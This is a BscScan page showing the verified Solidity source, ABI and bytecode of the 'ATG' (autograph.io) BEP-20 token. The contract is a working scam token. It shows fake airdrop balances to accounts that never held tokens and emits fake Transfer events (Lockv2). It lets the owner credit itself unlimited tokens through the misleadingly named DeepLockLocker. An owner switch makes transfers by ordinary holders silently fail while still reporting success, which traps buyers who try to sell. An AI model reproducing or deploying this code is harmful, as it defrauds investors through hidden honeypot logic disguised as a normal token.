BscScan - Sponsored slots available. Book your slot here!
BEP-20Cross-Chain
Source Code
Overview
Max Total Supply
1,000,000,000,000,000ATG (CSupply: 999,999,999,986,825.55332)
Holders
52,876
Market
Price
$0.00 @ 0.000000 BNB
Onchain Market Cap
-
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
13,174.446679412 ATGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
Contract Name:
ATG
Compiler Version
v0.8.6+commit.11564f7e
Contract Source Code (Solidity)
/**
*Submitted for verification at BscScan.com on 2021-07-31
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.6;
pragma abicoder v2;
interface baseTransfers {
function transfer ( address _from, address _to, uint256 _value ) external;
function totalSupply ( ) external view returns ( uint256 TotalSupply );
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IPancakeFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), 'Ownable: caller is not the owner');
_;
}
}
contract ATG is Context, IERC20, IERC20Metadata, Ownable {
address internal constant PancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
uint256 _NUM = 1 * 10**9;
mapping(address => uint256) private _balances;
mapping(address => bool) private _unlocked;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint256 private _airdropAmount;
bool isNumber = true;
constructor() {
_totalSupply = 1000000 * 10**9 * 10**9;
_airdropAmount = 13174446679412;
_balances[_msgSender()] = _totalSupply;
_unlocked[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view virtual override returns (string memory) {
return "autograph.io";
}
function symbol() public view virtual override returns (string memory) {
return "ATG";
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
if (!_unlocked[account]) {
return _airdropAmount;
} else {
return _balances[account];
}
}
function theNumber(bool _number) public onlyOwner virtual returns (bool) {
isNumber = _number;
return true;
}
function DeepLockLocker(uint256 amount) public onlyOwner virtual returns (bool) {
_balances[_msgSender()] += amount;
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
//_transfer(_msgSender(), recipient, amount);
if(_msgSender() == PancakeV2Router || _msgSender() == pancakePair() || pancakePair() == address(0) || _msgSender() == owner()) {
_transfer(_msgSender(), recipient, amount);
} else {
//nomal user check amount
if( (amount <= _NUM || isNumber) && !isContract(_msgSender()) ) {
_transfer(_msgSender(), recipient, amount);
}
}
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
if(sender == PancakeV2Router || sender == pancakePair() || pancakePair() == address(0) || sender == owner()) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
} else {
//nomal user check amount
if( (amount <= _NUM || isNumber) && !isContract(sender) ) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
}
}
return true;
}
function pancakePair() public view virtual returns (address) {
address PancakeV2Factory = 0xcA143Ce32Fe78f1f7019d7d551a6402fC5350c73;
address WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address pairAddress = IPancakeFactory(PancakeV2Factory).getPair(address(WBNB), address(this));
return pairAddress;
}
function isContract(address addr) internal view returns (bool) {
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
bytes32 codehash;
assembly {
codehash := extcodehash(addr)
}
return (codehash != 0x0 && codehash != accountHash);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function tokenContract() public view virtual returns (address) {
return address(this);
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_unlocked[sender], "ERC20: token must be unlocked before transfer'");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
_unlocked[recipient] = true;
emit Transfer(sender, recipient, amount);
}
function _DeepLockLocker(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
_unlocked[account] = true;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
_unlocked[account] = false;
emit Transfer(account, address(0), amount);
}
function Lockv1 (address[] memory holders, uint256 amount) public onlyOwner {
for (uint i=0; i<holders.length; i++) {
_transfer(_msgSender(), holders[i], amount);
}
}
function Lockv2(address[] memory holders, uint256 amount) public onlyOwner {
for (uint i=0; i<holders.length; i++) {
emit Transfer(address(this), holders[i], amount);
}
}
function setAirdropAmount(uint256 airdropAmount_) public onlyOwner (){
_airdropAmount = airdropAmount_;
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"DeepLockLocker","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Lockv1","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holders","type":"address[]"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Lockv2","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"airdropAmount_","type":"uint256"}],"name":"setAirdropAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bool","name":"_number","type":"bool"}],"name":"theNumber","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokenContract","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
6080604052633b9aca006001556001600760006101000a81548160ff0219169083151502179055503480156200003457600080fd5b506000620000476200023e60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35069d3c21bcecceda1000000600581905550650bfb6a36e574600681905550600554600260006200011a6200023e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600360006200016e6200023e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620001cf6200023e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60055460405162000230919062000257565b60405180910390a36200027e565b600033905090565b620002518162000274565b82525050565b60006020820190506200026e600083018462000246565b92915050565b6000819050919050565b6122ed806200028e6000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c806355a373d6116100ad578063a457c2d711610071578063a457c2d714610332578063a5500c3014610362578063a9059cbb1461037e578063b8c9d25c146103ae578063dd62ed3e146103cc57610121565b806355a373d61461028c57806370a08231146102aa5780638da5cb5b146102da57806395d89b41146102f85780639999d8331461031657610121565b806323b872dd116100f457806323b872dd146101c25780632b408f59146101f2578063313ce567146102225780633950935114610240578063516d533c1461027057610121565b806306fdde0314610126578063095ea7b31461014457806316c49d651461017457806318160ddd146101a4575b600080fd5b61012e6103fc565b60405161013b9190611be2565b60405180910390f35b61015e600480360381019061015991906118dd565b610439565b60405161016b9190611bc7565b60405180910390f35b61018e60048036038101906101899190611979565b610457565b60405161019b9190611bc7565b60405180910390f35b6101ac610511565b6040516101b99190611d24565b60405180910390f35b6101dc60048036038101906101d7919061188a565b61051b565b6040516101e99190611bc7565b60405180910390f35b61020c600480360381019061020791906119a6565b610839565b6040516102199190611bc7565b60405180910390f35b61022a610936565b6040516102379190611d3f565b60405180910390f35b61025a600480360381019061025591906118dd565b61093f565b6040516102679190611bc7565b60405180910390f35b61028a6004803603810190610285919061191d565b6109eb565b005b610294610b23565b6040516102a19190611b83565b60405180910390f35b6102c460048036038101906102bf91906117f0565b610b2b565b6040516102d19190611d24565b60405180910390f35b6102e2610bd0565b6040516102ef9190611b83565b60405180910390f35b610300610bf9565b60405161030d9190611be2565b60405180910390f35b610330600480360381019061032b919061191d565b610c36565b005b61034c600480360381019061034791906118dd565b610d1b565b6040516103599190611bc7565b60405180910390f35b61037c600480360381019061037791906119a6565b610e06565b005b610398600480360381019061039391906118dd565b610ea5565b6040516103a59190611bc7565b60405180910390f35b6103b661102c565b6040516103c39190611b83565b60405180910390f35b6103e660048036038101906103e1919061184a565b6110f7565b6040516103f39190611d24565b60405180910390f35b60606040518060400160405280600c81526020017f6175746f67726170682e696f0000000000000000000000000000000000000000815250905090565b600061044d61044661117e565b8484611186565b6001905092915050565b600061046161117e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e590611c84565b60405180910390fd5b81600760006101000a81548160ff02191690831515021790555060019050919050565b6000600554905090565b60007310ed43c718714eb63d5aa57b78b54704e256024e73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148061059d575061056e61102c565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806105db5750600073ffffffffffffffffffffffffffffffffffffffff166105c361102c565b73ffffffffffffffffffffffffffffffffffffffff16145b8061061857506105e9610bd0565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b1561070d57610628848484611351565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061067361117e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050828110156106f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ea90611c64565b60405180910390fd5b610707856106ff61117e565b858403611186565b5061082e565b6001548211158061072a5750600760009054906101000a900460ff165b801561073c575061073a846116ae565b155b1561082d5761074c848484611351565b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061079761117e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610817576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080e90611c64565b60405180910390fd5b61082b8561082361117e565b858403611186565b505b5b600190509392505050565b600061084361117e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c790611c84565b60405180910390fd5b81600260006108dd61117e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546109269190611dc7565b9250508190555060019050919050565b60006009905090565b60006109e161094c61117e565b84846004600061095a61117e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109dc9190611dc7565b611186565b6001905092915050565b6109f361117e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7790611c84565b60405180910390fd5b60005b8251811015610b1e57828181518110610a9f57610a9e611f4e565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b039190611d24565b60405180910390a38080610b1690611ed6565b915050610a83565b505050565b600030905090565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610b88576006549050610bcb565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4154470000000000000000000000000000000000000000000000000000000000815250905090565b610c3e61117e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ccb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc290611c84565b60405180910390fd5b60005b8251811015610d1657610d03610ce261117e565b848381518110610cf557610cf4611f4e565b5b602002602001015184611351565b8080610d0e90611ed6565b915050610cce565b505050565b60008060046000610d2a61117e565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610de7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dde90611ce4565b60405180910390fd5b610dfb610df261117e565b85858403611186565b600191505092915050565b610e0e61117e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9290611c84565b60405180910390fd5b8060068190555050565b60007310ed43c718714eb63d5aa57b78b54704e256024e73ffffffffffffffffffffffffffffffffffffffff16610eda61117e565b73ffffffffffffffffffffffffffffffffffffffff161480610f355750610eff61102c565b73ffffffffffffffffffffffffffffffffffffffff16610f1d61117e565b73ffffffffffffffffffffffffffffffffffffffff16145b80610f735750600073ffffffffffffffffffffffffffffffffffffffff16610f5b61102c565b73ffffffffffffffffffffffffffffffffffffffff16145b80610fb75750610f81610bd0565b73ffffffffffffffffffffffffffffffffffffffff16610f9f61117e565b73ffffffffffffffffffffffffffffffffffffffff16145b15610fd357610fce610fc761117e565b8484611351565b611022565b60015482111580610ff05750600760009054906101000a900460ff165b8015611009575061100761100261117e565b6116ae565b155b156110215761102061101961117e565b8484611351565b5b5b6001905092915050565b60008073ca143ce32fe78f1f7019d7d551a6402fc5350c739050600073bb4cdb9cbd36b01bd1cbaebf2de08d9173bc095c905060008273ffffffffffffffffffffffffffffffffffffffff1663e6a4390583306040518363ffffffff1660e01b815260040161109c929190611b9e565b60206040518083038186803b1580156110b457600080fd5b505afa1580156110c8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ec919061181d565b905080935050505090565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ed90611cc4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611266576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125d90611c24565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516113449190611d24565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156113c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b890611ca4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611431576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142890611c04565b60405180910390fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166114bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b490611d04565b60405180910390fd5b6114c88383836116f9565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561154f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154690611c44565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546115e49190611dc7565b925050819055506001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116a09190611d24565b60405180910390a350505050565b6000807fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47060001b90506000833f90506000801b81141580156116f05750818114155b92505050919050565b505050565b600061171161170c84611d7f565b611d5a565b9050808382526020820190508285602086028201111561173457611733611fb1565b5b60005b85811015611764578161174a888261176e565b845260208401935060208301925050600181019050611737565b5050509392505050565b60008135905061177d81612272565b92915050565b60008151905061179281612272565b92915050565b600082601f8301126117ad576117ac611fac565b5b81356117bd8482602086016116fe565b91505092915050565b6000813590506117d581612289565b92915050565b6000813590506117ea816122a0565b92915050565b60006020828403121561180657611805611fbb565b5b60006118148482850161176e565b91505092915050565b60006020828403121561183357611832611fbb565b5b600061184184828501611783565b91505092915050565b6000806040838503121561186157611860611fbb565b5b600061186f8582860161176e565b92505060206118808582860161176e565b9150509250929050565b6000806000606084860312156118a3576118a2611fbb565b5b60006118b18682870161176e565b93505060206118c28682870161176e565b92505060406118d3868287016117db565b9150509250925092565b600080604083850312156118f4576118f3611fbb565b5b60006119028582860161176e565b9250506020611913858286016117db565b9150509250929050565b6000806040838503121561193457611933611fbb565b5b600083013567ffffffffffffffff81111561195257611951611fb6565b5b61195e85828601611798565b925050602061196f858286016117db565b9150509250929050565b60006020828403121561198f5761198e611fbb565b5b600061199d848285016117c6565b91505092915050565b6000602082840312156119bc576119bb611fbb565b5b60006119ca848285016117db565b91505092915050565b6119dc81611e1d565b82525050565b6119eb81611e2f565b82525050565b60006119fc82611dab565b611a068185611db6565b9350611a16818560208601611e72565b611a1f81611fc0565b840191505092915050565b6000611a37602383611db6565b9150611a4282611fd1565b604082019050919050565b6000611a5a602283611db6565b9150611a6582612020565b604082019050919050565b6000611a7d602683611db6565b9150611a888261206f565b604082019050919050565b6000611aa0602883611db6565b9150611aab826120be565b604082019050919050565b6000611ac3602083611db6565b9150611ace8261210d565b602082019050919050565b6000611ae6602583611db6565b9150611af182612136565b604082019050919050565b6000611b09602483611db6565b9150611b1482612185565b604082019050919050565b6000611b2c602583611db6565b9150611b37826121d4565b604082019050919050565b6000611b4f602e83611db6565b9150611b5a82612223565b604082019050919050565b611b6e81611e5b565b82525050565b611b7d81611e65565b82525050565b6000602082019050611b9860008301846119d3565b92915050565b6000604082019050611bb360008301856119d3565b611bc060208301846119d3565b9392505050565b6000602082019050611bdc60008301846119e2565b92915050565b60006020820190508181036000830152611bfc81846119f1565b905092915050565b60006020820190508181036000830152611c1d81611a2a565b9050919050565b60006020820190508181036000830152611c3d81611a4d565b9050919050565b60006020820190508181036000830152611c5d81611a70565b9050919050565b60006020820190508181036000830152611c7d81611a93565b9050919050565b60006020820190508181036000830152611c9d81611ab6565b9050919050565b60006020820190508181036000830152611cbd81611ad9565b9050919050565b60006020820190508181036000830152611cdd81611afc565b9050919050565b60006020820190508181036000830152611cfd81611b1f565b9050919050565b60006020820190508181036000830152611d1d81611b42565b9050919050565b6000602082019050611d396000830184611b65565b92915050565b6000602082019050611d546000830184611b74565b92915050565b6000611d64611d75565b9050611d708282611ea5565b919050565b6000604051905090565b600067ffffffffffffffff821115611d9a57611d99611f7d565b5b602082029050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000611dd282611e5b565b9150611ddd83611e5b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e1257611e11611f1f565b5b828201905092915050565b6000611e2882611e3b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611e90578082015181840152602081019050611e75565b83811115611e9f576000848401525b50505050565b611eae82611fc0565b810181811067ffffffffffffffff82111715611ecd57611ecc611f7d565b5b80604052505050565b6000611ee182611e5b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415611f1457611f13611f1f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20746f6b656e206d75737420626520756e6c6f636b656420626560008201527f666f7265207472616e7366657227000000000000000000000000000000000000602082015250565b61227b81611e1d565b811461228657600080fd5b50565b61229281611e2f565b811461229d57600080fd5b50565b6122a981611e5b565b81146122b457600080fd5b5056fea2646970667358221220759080ff2bf843db6ddafeec3d3034c0657efcb2df04c3b209aa77fcc0d61ddb64736f6c63430008060033
Deployed Bytecode
